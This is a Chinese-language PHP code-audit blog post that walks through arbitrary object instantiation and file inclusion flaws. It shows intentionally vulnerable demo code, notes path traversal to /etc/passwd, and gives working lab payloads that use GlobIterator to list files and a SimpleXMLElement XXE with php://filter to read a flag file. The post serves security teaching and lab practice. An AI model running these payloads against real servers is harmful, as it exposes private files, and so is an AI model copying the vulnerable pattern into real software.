S1xHcL's Blog.

PHP-Audit Day03 实例化任意对象漏洞

Word count: 1kReading time: 4 min
2021/10/03 Share

函数学习

class_exists :(PHP 4, PHP 5, PHP 7)

功能 :检查类是否已定义

定义bool class_exists ( string $class_name[, bool $autoload = true ] )

$class_name 为类的名字,在匹配的时候不区分大小写。默认情况下 $autoloadtrue ,当 $autoloadtrue 时,会自动加载本程序中的 __autoload 函数;当 $autoloadfalse 时,则不调用 __autoload 函数。

SimpleXMLElement :(PHP 5, PHP 7)

功能 :用来表示XML文档中的元素,为PHP的内置类。

Demo 学习

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
function __autoload($className)
{
include $className;
}

$controllerName = $_GET['c'];
$data = $_GET['d'];

if (class_exists($controllerName)) {
$controller = new $controllerName($data['t'], $data['v']);
$controller->render();
} else {
echo 'There is no page with this name';
}

class HomeController
{
private $template;
private $variables;

public function __construct($template, $variables)
{
$this->template = $template;
$this->variables = $variables;
}

public function render()
{
if ($this->variables['new']) {
echo 'controller rendering new response';
} else {
echo 'controller rendering old response';
}
}
}

?>

这段代码存在两处漏洞:

  • 文件包含漏洞
  • 实例化漏洞

文件包含漏洞

文件包含漏洞在第10行中,默认情况下,如果存在__autoload()函数会自动调用。那么本题中,通过class_exists()函数判断用户传过来的控制器是否存在,自动调用__autoload()函数,从而造成文件包含漏洞。如果使用路径穿越就可以包含任意文件,例如 ../../../../etc/passwd

注:使用路径穿越需要PHP版本在 5~5.3之间才可以

实例化漏洞

在第9行中可以发现。实例化类的类名和传入类的参数均可控,所以可以通过该漏洞调用PHP代码库中的任意构造函数。即使代码本身并不包含易受攻击的构造函数,我们也可以通过使用PHP内置类SimpleXMLElement 来进行XXE攻击,进而读取任意文件等。

1
2
3
4
5
6
7
8
9
10
11
<?php
$xml = <<<EOF
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///E:/Code/phpstudy/PHPTutorial/WWW/php/day3/flag.txt">
]>
<x>&xxe;</x>
EOF;
$xml_class = new SimpleXMLElement($xml, LIBXML_NOENT);
var_dump($xml_class);
?>

这个简单的Demo可以看出,使用SimpleXMLElement创建一个新的XML对象,直接传入构造好的XML代码即可读取文件。

案例学习

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// index.php
<?php

class NotFound{
function __construct()
{
die('404');
}
}
spl_autoload_register(
function ($class){
new NotFound();
}
);
$classname = isset($_GET['name']) ? $_GET['name'] : null;
$param = isset($_GET['param']) ? $_GET['param'] : null;
$param2 = isset($_GET['param2']) ? $_GET['param2'] : null;
if(class_exists($classname)){
$newclass = new $classname($param,$param2);
var_dump($newclass);
foreach ($newclass as $key=>$value)
echo $key.'=>'.$value.'<br>';
}
1
2
3
4
// f1agi3hEre.php
<?php
$flag = "HRCTF{X33_W1tH_S1mpl3Xml3l3m3nt}";
?>

环境

  • Windows10
  • php 5.6.27 + Apache
  • phpstudy

分析

在第18行中,通过class_exists()函数判断类是否存在,如果不存在则会调用__autoload()函数,但代码中没有__autoload(),这里是利用spl_autoload_register实现类似__autoload()的函数,输出404。

在第15~17行中,类和类里面的参数我们都可以控制,可通过传入内置的类去实例化来读取文件完成攻击。

首先,使用GlobIterator类搜索flag文件名名称

GlobIterator::__construct —使用glob 表达式构造一个新的目录迭代器

public GlobIterator::__construct ( string $pattern , int $flags= FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO )

第一个参数为要搜索的文件名,第二个参数为选择的文件的哪个信息作为键名,这里可使用默认值FilesystemIterator::CURRENT_AS_FILEINFO,其对应的常量值为0,构造Payload:

1
2
Payload:
http://127.0.0.1/php/day3/index.php?name=GlobIterator&param=./*.php&param2=0

找到了flag文件名为f1agi3hEre.php ,接下来使用SimpleXMLElement类读取flag。但flag文件中存在< > & ' "等符号,需要对内容进行base64编码,否则会导致XML解析失败。这里使用php://filter去编码读取

1
2
Payload:
http://127.0.0.1/php/day3/index.php?name=SimpleXMLElement&param=<?xml version="1.0"?><!DOCTYPE ANY [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=E:/Code/phpstudy/PHPTutorial/WWW/php/day3/f1agi3hEre.php">]><x>%26xxe;</x>&param2=2

CATALOG
  1. 1. 函数学习
    1. 1.1. Demo 学习
      1. 1.1.1. 文件包含漏洞
      2. 1.1.2. 实例化漏洞
  2. 2. 案例学习
    1. 2.1. 源码
    2. 2.2. 环境
    3. 2.3. 分析